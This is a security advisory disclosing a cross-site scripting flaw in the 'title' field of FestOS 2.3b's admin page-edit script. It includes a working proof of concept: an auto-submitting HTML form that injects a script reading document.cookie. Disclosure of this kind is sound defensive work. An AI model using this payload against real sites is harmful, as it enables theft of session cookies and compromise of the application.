XSS vulnerability in FestOS

[advisory () htbridge ch]

Vulnerability ID: HTB22472
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_festos.html
Product: FestOS
Vendor: Skypanther Studios, Inc ( http://festengine.org/ ) 
Vulnerable Version: 2.3b and Probably Prior Versions
Vendor Notification: 01 July 2010 
Vulnerability Type: XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "/admin/do_pages_edit.php" script to properly sanitize user-supplied 
input in "title" variable. Successful exploitation of this vulnerability could result in a compromise of the 
application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/do_pages_edit.php"; method="post" name="main" >
<input type="hidden" name="pageID" value="2" />
<input type="hidden" name="title" value='title"><script>alert(document.cookie)</script>' />
<input type="hidden" name="alias" value="home" />
<input type="hidden" name="active" value="1" />
<input type="hidden" name="contents" value='page content here...' />
</form>
<script>
document.main.submit();
</script>